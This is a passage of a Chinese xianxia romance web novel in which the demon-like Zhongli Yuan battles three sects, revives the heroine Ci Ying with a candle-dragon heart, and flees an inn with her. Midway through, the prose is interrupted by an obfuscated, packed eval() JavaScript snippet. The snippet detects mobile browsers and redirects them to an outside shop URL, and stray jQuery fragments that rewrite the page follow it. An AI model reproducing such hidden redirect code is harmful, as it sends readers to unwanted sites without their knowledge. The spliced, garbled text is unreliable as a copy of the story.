胡四眼珠子都要掉出来了,扯淡呢?这他妈谁敢啊?!他一紧张,掐着江羡之的手上不自觉地用了死力。 江羡之顿时呼吸困难,白眼上翻,只以为自己今天就要命绝于此,忽然喉咙一松,重获了自由。 钟离渊一巴掌将胡四拍进了地里,然后轻飘飘地拎起江羡之。 叶棠吓得魂飞魄散,面无血色地惨叫:“你快放开我羡儿!” 江鹤川倒还算镇定,面色阴沉地盯着钟离渊,太阳穴青筋猛跳了两下。 众人皆道这下糟糕,落在他手中,这小江公子定是凶多吉少。谁知钟离渊看了看江羡之,竟像见了故人一般,自言自语道:“若你死了,她定要伤心。” 说罢,他一抬手将江羡之扔回水云剑宗队伍里,转身一甩衣襟,对众人冷笑道: “你们有谁活够了的,一起上吧!” 萧阳和曹不义迅速交换了眼神,又一齐望向江鹤川。 “布阵!” 江鹤川一声令下,水云剑宗弟子立刻布起六丁六甲阵,阵中灵光大盛,杀气腾腾。九曜派和玄武教的弟子也纷纷亮出兵刃,三队人马里三层外三层,把钟离渊围得水泄不通。 “我要去给墨让尘报仇!”萧无忧刚抽出软鞭,就被萧阳一把拽住,推给任平生,厉声道:“看好她!”说完,萧阳飞身跃出加入战局。 任平生难得一本正经,冲着萧阳的背影点头:“放心。” 萧无忧粉颊带怒,薄怒含嗔:“小土豆,你敢管我!” 任平生表情瞬间切换,“扑通”跪倒,抱着萧无忧的大腿哭丧着脸哀嚎:“求求你了大小姐!你要是出去了,你爹回头就得把我做成人彘喂蛊虫啊!大小姐可怜可怜我吧,我还年轻没娶亲呢,我不想死啊啊啊——” 萧无忧被他哭得头疼,这家伙鼻涕虫一样黏得很,甩都甩不开,只好作势拿鞭子在他脖颈上绕了半圈:“起来!你再不起来我勒死你!” “不起不起就不起!勒死也比做人彘喂蛊虫强啊啊啊——” 这副无赖嘴脸,要不是看他瘦得跟个竹竿似的禁不住打,萧无忧真想一鞭子把他抽成陀螺。 任平生满地打滚涕泪横飞,同时不忘斜眼留意战况,这一瞟之下不由得吓了一跳。 不过片刻功夫,场中已是血流成河。地上横七竖八躺满了人,大部分弟子还没冲到跟前,就被震飞老远,昏死过去。 曹不义的铁折扇尽断成屑,精致的发髻被打散,披头散发形容狼狈。江鹤川的拂尘早烧成灰沫,连萧阳的怪兽坐骑都成了炭烤肥牛。 钟离渊一袭红衣挺拔地立于正中,银发在赤金日光的照射下泛着光,冷白俊俏的脸上蹭了鲜红的血迹,平添了几分鬼魅。 他目光扫过水云剑宗众人,最终落在江鹤川脸上,声音冷峻,带着令人毛骨悚然的威胁:“我再问一遍,她在哪里?” 一条金线突然从斜刺里窜出,像灵蛇般飞快缠住钟离渊,还打了个死结。 有眼尖的弟子兴奋大叫:“是缚仙索!这回他跑不掉了……” 话音未落,钟离渊四周突然红光冲天,仿佛燃起烈焰。缚仙索像被烈火煅烧的铁,渐渐变成透明的红亮色,紧接着“砰”的一声断开!断开处滋滋冒烟,寸寸成灰,转眼就化作一股青烟散去了。 这反转来得太快,众人愣了半晌才反应过来。 “怎么可能?缚仙索竟被他毁了!” 江鹤川心中十分恼火。 这小子的修为之高恐怕世间无人能与之抗衡,可他眼下动作渐滞,明显是伤重未愈,又强行战了这么久体力不支。 可惜自己不能暴露煞气邪功,否则现在就是斩草除根的绝佳机会! 他目光意味深长地看向曹不义。 曹不义心领神会,拢了拢头发,往后退了两步,一挥手:“你们上!” 左右弟子不敢不从,只能硬着头皮往前冲。 萧阳也反应过来,有样学样地示意教众弟子先上。 辞盈在法袋里看得目瞪口呆。 这是想用人海战术耗尽钟离渊的体力,到时候三人再联手围剿。 好一群不要脸的糟老头子!弟子的命就不是命了吗? 49. 有感觉吗 钟离渊瞳孔骤缩,厉色如电闪过,一言不发间掌心红光暴涌,只一挥,便将那群本就踟蹰着不敢上前的人掀得连滚数翻。众人还未看清他的动作,眼前红衣已如鬼魅般消失。 水云剑宗阵内,一声惊惧的尖叫刺破长空。 小弟子眼睁睁看着红衣少年的胸膛几乎要撞上自己鼻尖,吓得面无人色,连连后退两步,“噗通”跌坐在地。 他他他怎么瞬移进来了! 钟离渊闭着眼,神识如网般铺开,飞速捕捉那缕微弱神魂的方向。 在左! 他猛地转身,正迎上剑宗传功长老劈来的凛冽剑刃。他指尖轻弹,剑气应声荡开,神识却再次扎入混沌中搜寻。 在前! 扬手挥开拦路者,他猛冲数步,神识急切翻找。 “呲啦——” 凌厉剑光擦过,背上顿时绽开一道深痕,冷白的皮肉外翻,鲜血如泉涌,瞬间浸透了红衣。 钟离渊却似浑然未觉,只用灵力扫开路障,再继续去神识中疯狂搜寻。 在哪里?! 到底在哪里!! “他好像疯了,一起上!” 几个九曜派弟子蜂拥而上,长刀齐刷刷劈落,却被他周身外溢的强劲灵力撞得口喷鲜血,倒飞出去。 斜刺里,偷袭的流星锤带着破风之声猛砸而来,正中他胸口。钟离渊喉头一甜,呕出一口血,却咬牙一掌将铁锤击得粉碎。 曹不义失了锤子也不心疼,握着空链吼道:“都别怕!他快撑不住了,一起上!” 玄武教阵中,萧无忧蹙眉:“他莫不是疯了?到底想干什么?” 身旁青衫单薄的任平生望着杀场,眼中满是艳羡:“若有来生,我也想这般活一次。” “啧啧,就你?杀鸡都手抖,还想做杀人魔?” 任平生笑了笑:“若有他的能耐,我也会如此。喜欢的姑娘,我便单枪匹马亲手抢回来。” 萧无忧望着他,不知为什么,总觉得他笑得苦涩,便道:“你喜欢哪家姑娘,我去帮你抢。” 任平生看了她一眼,道:“我没本事,就别耽误人家了。” “你怎会没本事?”萧无忧笑道,“不说外头,教里多少兄弟是你救回来的?大伙都欠着你一条命。这若算没本事,那我竟不知道什么叫有本事了。” 任平生眼睛看着远处,漫不经心似地问:“若是与墨让尘比呢?” 萧无忧一听见墨让尘的名字,弯弯的嘴角又耷拉下来,叹了口气:“也不知道他何时才能醒过来。” 喊杀声震天,暮苍山上从未如此鬼气森森。 围剿的众人仿佛都与钟离渊有血海深仇一般,壮志凌云地高举讨伐之剑,从未觉得自己如此正义凛然。 虽然刚才彼此还在互相厮杀,但此刻,这些恩怨都可暂时放一放,没有什么是比杀死三百年前恶魔的儿子更重要的事。 因为别人都这么说。 所以尽管许多人都是今天第一次见他,此前也并无仇怨,这也不妨碍他们替天行道。 刀剑如暴风骤雨,纷乱狂暴地砍向红衣少年。 银镯铮铮嗡鸣,虹芒骤盛,迅疾如风,人头滚滚而落! 鲜血从脖腔喷涌而出,溅起两丈高,化作漫天触目惊心的血雨。 钟离渊杀红了眼,粗重地喘息着,掌心燃起熊熊烈焰,扫视着眼前众人——只消一瞬,便能将他们化为灰烬。 可是那一丝微弱的魂魄就混在其中,混在所有想要他命的剑刃中间。 少年手背青筋暴起,遍体鳞伤,却还是硬生生熄了掌心的火。 江鹤川站在人群中,脸上挂着嘲讽的笑:“钟离渊,今日便是你的死期。” 忽然之间,红衣少年的眼睛骤然亮起。 钟离渊! 清透的声音如天籁穿破万水千山,在神识深处呼唤他。 钟离渊!我在这儿,在游乘风的法袋里! 辞盈刚说完,就后悔地想抽自己一耳光。 因为不忍心看他送死,所以自己就主动送死,天底下还有第二个这么脑残的圣女吗?! 干脆别叫圣女改叫圣母算了! 钟离渊又一次在所有人眼皮底下消失了。下一秒,赫然闪现在游乘风面前。 游乘风睁大了仅余的一只眼睛,正义的面孔变得扭曲,瞳孔中倒映出一张凶残又沾满血痕的脸。 “救、救……” “咔嚓——”骨头断裂的脆响清晰可闻。游乘风的脑袋无力地耷拉到肩上,死透了。 钟离渊抓起法袋,没有丝毫犹豫,闪电般飞掠出人群。 “哪里走!”江鹤川怒喝一声,甩手掷出数枚嗜血符。 钟离渊腾空而起,旋身躲过,足尖一点已至玄武教众跟前,伸手便捞。 “无忧——!”萧阳大惊失色,想回身去追已来不及。 旁边的青衫男子急步上前阻拦,正好被一把抓住胸襟,直接拎了就走。 惨叫声响彻天际:“不是我说阎王大哥你抓我干嘛呀啊啊啊啊——!” 荒郊野外,残阳如血,静谧中夹杂着微弱虫鸣。 辞盈从前只知人防鬼、鬼怕道士,没想到自己当道士时被鬼抓,成了鬼又被人抓,简直倒反天罡。 被从法袋里大头朝下倒出来时,她只觉得窝囊他妈给窝囊开门,窝囊到家了。 她趴在地上,顺着他染满血污的裤管和衣襟往上看,他胸口和胳膊的伤口还在冒血,许是耗尽了力气,那只刚刚大开杀戒的手,竟在微微颤抖。 辞盈仰着脑袋看他:“你没事儿吧?” 夕阳将钟离渊冷峻的脸庞镀上一层碎金,似乎柔和了些许,没那么杀气腾腾了。 有戏。没准他这会儿心情好,就不杀我了呢? 辞盈爬起来整理了下仪容,小心翼翼观察他脸色,试探着问:“钟离渊,你真不能放过我吗?” 冷风呼啸,银发凌风不乱。 他闻言一怔,脸色变了又变,最终冷笑:“你觉得呢?” 好吧,我也知道你顶着千军万马杀出来就是为了抓我,哪可能轻易放过。 辞盈叹了口气,又道:“我觉得吧,我都死过一次了,相思咒也跟着灭了。过去的事儿就让它过去,何必执念呢?” 钟离渊神情复杂地盯着她:“若我不肯呢?” 大侠,大哥,祖宗,你就饶我一命有那么难吗?得饶鬼处且饶鬼啊! 辞盈抱着脑袋委屈道:“以前的事都是相思咒的错,这不能都怪我吧?你要自由,我也还你自由了,你还有什么不满意的?天高海阔,你可以上山打虎,下海捞龙,上哪玩儿不行啊,干嘛非揪着我不放?” 钟离渊脸蓦地黑了,肉眼可见的怒气冲天,一抬手,灵光打出连串暴击,山石炸裂黄土飞溅,地面上砸出个一米多深的大坑。 摔疼了正躺在旁边揉屁股的任平生吓得跳起来叫道:“挖这么大坑干什么?你要活埋了她?” 钟离渊脸色难看:“再废话就活埋了你。” 任平生习惯了他的说话方式,也不害怕,自顾自道:“不过鬼好像没法活埋。阎王大哥,你先取烛龙之心,又劫了我,不就是想求我复活她么?” 复活? 辞盈看了看钟离渊漂亮又阴鸷的阎王脸,反应了三秒钟,恍然大悟。 复活了再重杀一次!对了,他有反复虐杀癖好,以前对褚家庄那个庄主也是这么打算来的! 为了虐杀play你差点儿把命搭进去,用不用这么下血本啊? 钟离渊挑眉道:“不是求,是你必须把她救活,否则我就杀了你——还有刚才站你旁边那女的。” 任平生脸色一变:“不要开这种玩笑。” “我从不说笑,说到做到。” 任平生翻了个白眼,懒得跟死了老婆的鳏夫计较,耐心道:“我是大夫不是巫师,复活这种事儿我没有法力做不到的,还是得你自己来。” “事先说明,我以前的确在书中读过,以烛龙之心为引,可为灵魂重塑肉身。不过千百年来,有谁真正拿到过烛龙之心呢?所以这复活之术,我也没有十成把握,你若失败了可不要发疯。” 话虽然这么说,可是任平生看着钟离渊那强作镇定极力掩饰内心紧张的样子,不由得心想,若是辞盈复活成功也就罢了,万一不幸灰飞烟灭了,钟离渊怕是真的会疯魔。 那可真是塌天大祸,不知要有多少人跟着陪葬。 钟离渊不自觉地朝她看过来,辞盈立刻打了个寒噤。 有点儿后悔刚才心软暴露身份了,再死一次真的好疼啊啊啊…… “你们看!飞机——” 拔腿没跑两步,眼前胸膛似一堵红墙,辞盈猛地急刹才没一头撞上,抬起头只见利落的下颌线和喉结。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168510|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>辞盈干笑两声。 钟离渊:“你不想活了?” 辞盈商务假笑摇头。 是不想再死啊亲。 被掐着脖颈拎回来,她只好老老实实盘腿坐下,等活。 烛龙之心竟是莹莹的孔雀绿,像夜明珠般在钟离渊掌心泛着光。他以灵力催动,绿珠刹那间炸开万丈光芒,天地万物都被淹没,晃得人睁不开眼。 辞盈闭着眼,忽然感觉一阵寒气钻入魂魄深处,像石缝里破土而出的嫩花,骨肉相互挤压、对抗着,争先恐后地生长出来。紧接着又像被千虫万蚁啃噬,血液流过的地方酥麻酸痒,难耐至极。 她痛得呻吟出声,扭曲在地上阴暗爬行,翻来覆去像要现原形的白素贞,浑身又痛又痒,不知该挠哪里,手指狠狠插入泥土,又被人猛地扯出来握紧。 耳膜嗡嗡作响,她恨不得以头抢地,什么也听不清。 不知过了多久,辞盈终于神智清明地睁眼,才发现自己像戒毒患者般被钟离渊紧紧箍在怀里。而他的眼睛血红血红的,却透着藏不住的喜出望外。 “你感觉如何?” 他微微颤抖着手指轻轻拂过她的脸颊,声音轻得好像她是一朵蒲公英,一口大气就吹散了。 “我……还行。”辞盈清了清嗓子,重新适应了喉咙,补充道,“不过我现在……好像没痛感。” “嗯?” 钟离渊朝旁边瞥了眼,任平生立刻颠颠儿跑过来蹲下:“怎么啦?” “我的天!你还真跟活着的时候长得一模一样!烛龙之心果然牛逼!看看,这细胳膊长腿,这美人脸蛋……哎?怎么有杀气……” 任平生识趣地对钟离渊点了点头,乖乖闭了嘴。 辞盈真诚望着钟离渊:“我真感觉不到疼。” 也就是说,你现在二次杀我也也没用,根本达不到虐杀效果哦,亲。 任平生:“感觉不到疼痛?” “对啊,比如你现在掐我一下。”辞盈想抬手臂,没抬起来——这新身体好像有点锈。 再一用力,胳膊猛地抡起。 钟离渊侧头躲过,任平生横空飞出。 哀嚎声渐飞渐远:“不是说好让我掐你吗啊啊啊——” 钟离渊眉头紧皱:“怎么会这样?你再试试别的地方。” “都一样,哪儿都不疼。”辞盈坚定地说。 你不要指望另辟蹊径残害我啊。 钟离渊似是不信,温暖的掌心贴上她腹间,灼热的灵力先如涓涓细流淌向四肢百骸,随即又如滔滔江水,一浪高过一浪地冲击经脉,似要强行打通她全身脉络。 辞盈忍不住打了个寒颤。 他急切追问:“有感觉吗?” 怎么莫名,有点爽。 太羞耻了,难道重生成了斯德哥尔摩患者? 辞盈不想说实话,摇头:“没有。” 钟离渊脸色紧绷,也不知道是在安慰谁,轻声道:“没关系,活着就好。” 这是什么意思?我知道你现在很想杀我,但你先别杀。 辞盈猛地弹坐起来,手臂乱挥:“我这样哪能叫活着啊?不骗你,你现在就是直接砍我两刀我都不知道疼。这这这,效果太敷衍了吧?这烛龙是啥材料做的这么硬?你看这胳膊,打弯都困难。” 钟离渊诚恳道:“我不介意。” “我介意!” 辞盈双手撑地,僵硬地站起来走了两步,感觉还行,又道:“我有个提议:不如你先把我放了,让我适应一下新身体,没准儿我溜达溜达,过几天就融合好了呢?” 钟离渊脸上又阴云密布:“你说什么,把你放了?” “呃,果然不行是吧……” 刚爬回来的任平生插话:“她这种情况倒也不是没有办法……” “什么办法?” “我看书上说,不周山往东深处有个泑泽,又名蒲昌海,是鄯善古国旧址。”任平生爬起来,拍拍青衫上的尘土,接着道,“传说在泑泽深处有个无量碧池,池水能易经洗髓,助人修仙,亦可引魂渡魄,使元神归位。” 什么池?怎么听起来不太正经的样子。 钟离渊站起来:“走。” “不是,咱就是说,这么行动派吗?” 辞盈像个丧尸似地被他拉着,一瘸一拐往前挪,挪了没两步,少年清癯的背影忽然原地晃了两下,一头栽倒。 50. 一碗小馄饨 “钟离渊!” 辞盈刚认领了四肢,慌慌张张还不会蹲,机器人似的扑跪在地上。她笨拙地将他翻过来,抬手托住他的后脑搂进怀里,指尖探到他鼻息,才猛地想起旁边还杵着位活大夫。 任平生三指搭在钟离渊腕间,淡淡道:“无妨,累晕了。” “你确定?就只是累着了?”辞盈紧张道。 “他本就受了重伤,又去斩烛龙,再回来单挑三大派,刚才还耗灵力给你施复活诀,神仙也扛不住这么折腾。”任平生斜睨她一眼,“你这么关心他,刚才干嘛去了?” 我关心他不代表我想被他弄死啊。 辞盈撇撇嘴,绕开话题:“那现在怎么办?” 任平生耸肩摊手:“你不是很想逃?此刻不跑,更待何时?” 的确该跑。 她伸手擦去钟离渊脸上的血污,见他双目紧闭毫无知觉,眉间花钿却拧成个疙瘩,忍不住用指腹轻轻抚过,低声道:“他最重的伤是我用相思咒造成的,我不能就这么把他扔下不管。” 任平生嗤笑:“行,总算找着个能自圆其说的借口。那就先回谢家堡吧,就近找个地方让他歇着,我再开副药,他也确实伤得够重的,换个人早死八百回了。” 辞盈硬是用这具僵硬的新身体连做了六套广播体操,才算勉强能正常动弹。御剑是别想了,她和任平生轮换着,连拖带扛地背着钟离渊走了整整一夜。 天边泛白时总算到了谢家堡,潮湿的寒气裹着街边小摊的热气扑面而来,炸油条的酥香混着蒸包子的面香,在清冷的晨雾里漫开。 好不容易把钟离渊扔到客栈床上,任平生一口气灌下半壶凉茶,抹着嘴抱怨:“他骨头是铁铸的吧?瞧着精瘦,压得我腰都快断了。” 钟离渊上半身陷在床里,两条长腿还耷拉在床边。辞盈咬着牙往上拽,心里直犯嘀咕:真是书到用时方恨少,腿一躺下就嫌长,好好的长这么长腿干嘛,又不是圆规。 刚掖好被角,任平生就甩来张药方:“快去快回,晚了我怕要出人命。” 辞盈惊得跳起来:“你不是说他只是累晕了?!” 任平生像摊烂泥陷在椅子里,掀眼皮瞟她一眼,拖长了调子:“我是说我要出人命啊——” “这位女侠,我又不是你们修仙的,背着你家那位活活走了一宿啊,当我是铁打的吗?”他清了清嗓子,忽然正色,“对了,待你回来时千万千万,千万要记得带一样东西。” “什么?” 任平生挣扎着坐直,颤颤巍巍竖起一根食指: “一碗小馄饨,不要放香菜。” 一分钟后。 “你怎么还没走?” 辞盈扯出标准商务假笑:“你身上有钱吗?” 任平生惊愕地摇头:“女侠,我必须要提醒一句,你还欠我出诊费呢。” 疫情有了解药,商铺也都陆续恢复了正常营业,只是行人依旧不多,大白天街上冷冷清清,只有送货的脚夫和返乡的流民。 辞盈在一处木板告示前站住了,这篇告示生动诠释了什么叫指鹿为马颠倒黑白。 大致意思是说,疫情得以控制多亏了一个叫江羡之的水云剑宗弟子找到神药,可是这位救世的公子却被一个叫钟离渊的法外狂徒所伤,连带着数名无辜修士都惨遭屠戮,特此通缉,举报者重赏。 辞盈撇撇嘴:内容扯淡也就罢了,这通缉画像连钟离渊半分美貌都没描出来,差评。 她在药铺门口转了两圈,没好意思进去赊账。兜里比脸还干净,身上的衣服还带着临死前被煞气怨魂撕出的破洞。可惜师尊给的剑没了,不然多少能换点钱。 也不知师尊伤势如何了。 究竟有什么方法能让一个女孩子快速搞到一大笔钱? 当然是去抢啦! 辞盈钻进路边灌木丛,捡了根最粗的枯树枝,聚起灵气反手一划,“咔嚓”一声,旁边手腕粗的青檀树拦腰折断。 就它了。 她雄赳赳气昂昂冲到一户豪门大院前,正准备干票大的,身后突然传来稚嫩的声音:“娘你看,是那个厉害的姐姐!” 回头一瞧,竟是之前差点被埋进尸坑的流民。 世界上还有这么巧的事。 小姑娘扎着麻花辫,脸蛋冻得通红,牵着她的女人却眼神呆滞,面无表情地盯着辞盈。 “是救了我们的姑娘啊!”一对夫妻率先喊道。 后头几人也认出她来,纷纷鞠躬作揖千恩万谢。 “姑娘真是好人啊!” “多亏你救了我们。” “姑娘人长得漂亮,功夫又俊,将来谁娶了你可真是有福气!” 手持凶器正要做土匪的辞盈忽然被架上道德高地,也不好自己往下溜,只好把树枝剑往身后一藏,硬着头皮跟众人寒暄。 原来他们已经领了药治好病,听说故乡那边洪水已退,正打算结伴返乡了。 辞盈顶着正义女侠的牌坊,实在不好意思立刻翻脸去打劫。可是牌坊又不能换钱,怎么解燃眉之急? 思量再三,她决定背着牌坊要饭,于是厚着脸皮问:“诸位……手中可有余钱接济一二?” 众人闻言一愣,面面相觑。 “实在是迫不得已,我朋友等着抓药救命。诸位若能帮忙,我感激不尽;若不能,也绝不勉强。” 话音刚落,后头几人突然溜得没影了。紧接着,三三两两的人互相拉扯着,目不斜视地从她身边走过,头也不回。 只有个包着头巾的男人摸出钱包,刚要打开,就被他妻子一把抢了过去:“别人都不给,就你逞能?你是比别人有钱,还是见了漂亮姑娘就走不动道?” “你别冤枉人,人家救过咱们命,能帮就帮一把……” 妻子白他一眼,转头对辞盈挤出笑:“我家实在不富裕,帮不上姑娘的忙。你要是急着用钱,我倒知道个门路。方才路过绮罗阁,我见那里招人,姑娘这么年轻貌美,还愁没活干?” 头巾男立刻打断:“你胡说什么?好好的姑娘谁去那种地方挣钱!” 妻子瞬间变脸,怒道:“她不能去绮罗阁?你把钱给了她,是想过两天叫我去吗?” 辞盈强忍着火气,手上一用力,树枝“咔嚓”一声折断。 转眼功夫,浩浩荡荡的一伙人走得精光,只剩牵着小女孩的女人站在原地,眼里闪着泪光,喃喃道:“你若早来半刻,我丈夫就不用死了。我如今一个人活得这么苦,还不如死了……为什么,为什么你来得这么迟?还想让我感谢你?” 辞盈万万没想到还有这种说法,仿佛自己成了杀人帮凶一样理亏,一时接不上话。 麻花辫小女孩看看妈妈,低头从兜里掏出一颗脏兮兮的糖球,跑过来塞在她手里:“姐姐,我没有钱,只有一颗糖,你吃吧。” 指尖捏着那颗糖,辞盈心里五味杂陈。她低着头,眼前出现一双破布鞋,抬头看,是唯一没走的那对老夫妇。 满头白发的老妪的手很粗糙,砂纸一样的触感,握住辞盈的手,塞进一支银钗。 那银钗没什么花样,也没有光泽,又粗又长,上面布满岁月的划痕,却是贴身放着的,带着老人家的体温。 想来是老人家压箱底的救命钱,辞盈推拒:“这个我不能收……” 老妪却不许她再讲,强硬地握紧她的手,拍了两下,浑浊的眼睛里有湿润的泪光,只说:“揣好,别弄丢了。” 再没多余的话。 辞盈站在街头,望着老夫妇互相搀扶的背影消失在寒风里。 正失神时,背后传来轻响,回头却见两块银元宝掉在地上还在晃。 抬头四望,只见那豪宅门内站着个衣着富贵的瘦高男人,眼眶红得像要哭,远远的刚一对上她的目光,吓得掉头就跑。 这逃跑的姿势怎么有点眼熟? 辞盈忽然回忆起来,竟是那日要坑杀流民的主犯!当时他自称上有老下有小,苦苦哀求,趁她不注意就逃命了。而她也是一时心软就没有去追。 他竟还记得自己。 辞盈顾不上感慨万千,捡起银锭子去药铺抓了药,又去成衣铺挑了一套丹枫色如意花纹窄袖衫袍,在路边摊打包了小馄饨。 眼下这副新身体越来越得心应手,辞盈十分满意,除了痛感迟钝,偶尔麻木,基本上看起来与常人无异了。 刚到客 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谁知萧无忧却在看见她的瞬间眼睛里写满惊愕和紧张,活像老鼠见了猫。她不自觉地回头瞟了眼轿厢,强装镇定:“怎么是你。” 辞盈不知道她在慌什么,但辞盈心里比她还慌,忍不住朝客栈窗户瞄了瞄,语无伦次道:“好巧好巧,我……出来买馄饨,你吃了吗?” 萧无忧:“……” 辞盈:“那个,没什么事我就先走了,回见啊。” 萧无忧罕见的善解人意:“没事没事,你忙你的。” 这段对话的诡异程度连吃瓜路人都难以置信。 这种情况下你俩不是应该一言不合直接拔剑吗?江湖儿女快意恩仇哪有讲道理的,怎么还客气上了? 辞盈也懵了,这萧无忧不会是假的吧?! 直觉告诉她,轿厢里有问题,但她现在顾不过来了。楼上还躺着一位呢,自己已经焦头烂额,就别管别人偷鸡摸狗了。 萧无忧敷衍地一抱拳,转身撩开轿帘一角迅速钻进去,迫不及待下令:“快走!” 辞盈隐约瞥见,轿厢里好像还有个人? 她没心思深究,转身噔噔噔跑上楼,推开门——床上赫然躺着俩人。一个是昏迷不醒的钟离渊,另一个是比他矮半头,正枕在他胸口打呼噜的任平生。 “……” 辞盈走过去,把馄饨碗在任平生脸前晃了晃。 任大夫抽了抽鼻子,睡眼惺忪地坐起来:“馄饨回来啦。” “等你吃完,替他把衣服换了吧,全是血。”辞盈道。 任平生揉揉眼睛,嘴里含含糊糊:“为什么是我啊?” “你自己看看他胸口有你多少口水。” 任平生:“……不要告诉别人。” 辞盈笑了:“说起你的那个‘别人’,我刚才在楼下碰见她了,不知道为什么,很着急离开的样子。” 任平生舀馄饨的手顿了一下,抬头问:“萧阳呢?他们都回玄武教了?不联姻了?” 无功而返,还搭进去一颗圣灵珠,这可不像玄武教贼不走空的做派。 “这我可就不知道了。” 任平生想了想:“待会儿我就走,他吃了药就没大碍了。蒲昌海人迹罕至,鄯善古城亦十分凶险,你们自己当心吧。” 辞盈叹气,鄯善再凶险,还能比床上那位更凶险? 她有心趁机开溜,又不放心把钟离渊一个人扔在这。毕竟满街的通缉告示,万一哪个眼尖的不小心撞见了呢。总得等他醒过来再说,现在这个状态,几岁的幼童拿把刀都能要他的命。 辞盈把药汤熬呀熬得只剩两口浓稠的药汁,掰开钟离渊的嘴,一滴不剩全灌了进去。 忽然,门外木楼梯传来急促却极轻的脚步声,说话声轻得像耳语,普通人根本听不见。 “哪个房间?” “最里头那个,两男一女,都年轻漂亮。有个受伤昏迷的,被背进来的,我瞧着真像通缉画上的人,就赶紧派人给你们报信了。” 是客栈掌柜的声音,压着嗓子,透着即将领到赏银的兴奋。 51. 好香,想吃 长得太好看到底有什么好处,被通缉了落网速度超快? 辞盈左右扫视一圈,随手从桌上的盘子里抓了几粒花生米攥在手心防身,正打算出去先发制人,一只手突然从旁边伸来,轻轻一拉一带,她便像被捞起的面条似的,轻飘飘飞进了床榻里侧。 衾被带着淡淡的香气,柔软得让人离不开,帐幔垂落下来,隔绝了外界的光影。辞盈后背抵着冰凉坚硬的墙面,头顶却烘着温热的气息,整个人被一双手臂牢牢圈在了怀里。 那药怕是还没来得及滑进胃里吧?这就醒了? 辞盈在心里疯狂呐喊:任大夫牛逼!!! 视线落在近在咫尺、轮廓分明的喉结上,她忍不住悄悄吞了口口水。 不知道钟离渊发烧到几度,他眼神滚烫,人也滚烫,眼神透着抑制不住的欣喜:“你没走?!” 坦白说,我是挺想走的…… 他低头看了看自己,愣了一下:“我的衣服……” 辞盈赶紧抢答:“是任平生帮你换的!” 祖宗,我可没趁你昏迷占你便宜,真的没有!求轻点儿杀…… 钟离渊皱了皱眉,唇角却上扬:“他可真碍事。” 太近了,贴得太近了,近到贴着他的皮肤也开始微微发热,分不清扑通扑通狂跳的到底是谁的心脏。 虽然大boss醒了,辞盈依然觉得不能太轻敌,毕竟不知道来人是什么实力,还是有必要提醒一句:“那个……门外好像有人来抓咱们……” 钟离渊却像没听见似的,抓起她的手:“这是什么?好香。” “花生,我随便拿来当暗器的。”辞盈老实地摊开手。 狭长的眼尾漾着笑意,弯成好看的弧度:“正好我饿了,喂我吃好不好?” “啊?” 开玩笑,您老人家还会饿? 辞盈还没反应过来,他忽然埋头过来,将花生和她纤细雪白的指尖一并含入口中,轻轻吸吮着,舌尖在她指腹的嫩肉上缓缓打转,纠缠,眼里带着笑,一瞬不瞬地盯着她。 “钟离渊!你……” 辞盈嗓子发紧,心脏狂跳,耳朵烫得像着了火。 你你你再这样我要报警了! 不是说好了只是救活我再虐杀吗?怎么还有这种剧情?是要先/奸/后杀吗?何况你知道自己长得多妖孽吗?尼姑也扛不住你这么撩啊亲! 辞盈一边面红耳赤,一边心想外头来抓人的怎么还没动静。 该不会一群人正扒着听墙根吧?有毛病吗这又不是闹洞房! 这个念头一冒出来,她顿时更加局促,脸上烫得可以煎荷包蛋了,触电似地迅速抽回手,警告道:“外头真的有人!” 钟离渊这才恋恋不舍地移开目光,略一侧头,神色便多了几分厌弃:“好个仙门正道。” 辞盈还没反应过来,就见钟离渊手指一弹,花生米“嗖嗖嗖”飞了出去,劲力刚猛,直接破窗而出。 外面连半声惨叫都没有,只传来“咚咚”几声沉重的倒地声。再仔细一看,窗纸上还插着半支刚戳进来的迷香。 怪不得没动静,合着等药效呢。 “我们走。” 话音刚落,钟离渊已经揽着她掠出了客栈。 大佬,刚睁眼就这么猛吗,你这开机速度够快的,打败了全国100%的人类。 跑到四下无人的地方,熟悉的口哨声响起,神出鬼没的鸣蛇果然出现了。只是它绿油油的脑袋好像小了一圈,豆大的眼睛里满是清澈的愚蠢,乖巧地盘踞在她脚边,欢快地吐着长信。 鸣蛇青绿的肚皮上多了一道狭长的暗红色伤疤,那是墨让尘在暮苍山刺的。醉花剑锋利无比,那伤口极深,险些把它拦腰斩断。 辞盈轻轻抚摸着疤痕处,心疼地说:“小鸣,对不起。” “你道什么歉,又不是你伤了它。” 钟离渊语气不悦,在它那不停卖乖的绿脑袋上敲了一下,示意它矜持点,然后冷冷道:“我会替它讨回来。” 辞盈蓦地抬头,倒吸一口凉气。 师尊现在还生死未卜,要是再挨他一下,那真的会直接升天。 鸣蛇翅膀振了两下,身形又粗长了数倍,如蛟龙潜渊威风凛凛。钟离渊坐上去,像之前一样朝她伸出手:“来。” 辞盈后退了半步,有些畏缩地犹豫着,欲言又止。 “你想说什么?” 辞盈抿紧唇,摇了摇头。 钟离渊脸色沉下来:“说。” 罢了,横竖都是要死,能救一个是一个。辞盈鼓起勇气道:“我能不能代替他?” “你说什么?” 辞盈道:“是我惹的祸,是我伤了你,一切的罪魁祸首都是我。你杀了我,还不足以解气吗?” 钟离渊眸若寒冰地盯着她,手指骨节“咔咔”作响,像是在极力压抑怒火。片刻后,他终于几不可闻地叹了口气:“他就那么好?” 辞盈点头:“师尊待我恩重如山。你若要出气,杀我便是。” 钟离渊依旧伸着手,却没看她,只道:“上来。” “等事情了结,我送你回去找他。” 辞盈听得云山雾罩。 这话什么意思?两个都杀?还是两个都不杀?送我回去和送我上路、送我回老家是一个意思吗? 一路上钟离渊没再说话,看起来心情差到极点。辞盈坐在他身前也识趣地闭了嘴,为了避嫌,特意把腰背挺得笔直,生怕碰到他那敏感又难捉摸的神经。 渐渐的,千沟万壑的景象映入眼帘。 纵横交错的峡谷深邃险峻,连绵不绝的山脉被冰川覆盖直冲云霄,辞盈终于理解人们为什么称不周山为天柱,并认为它是人界唯一通往天界的路径。 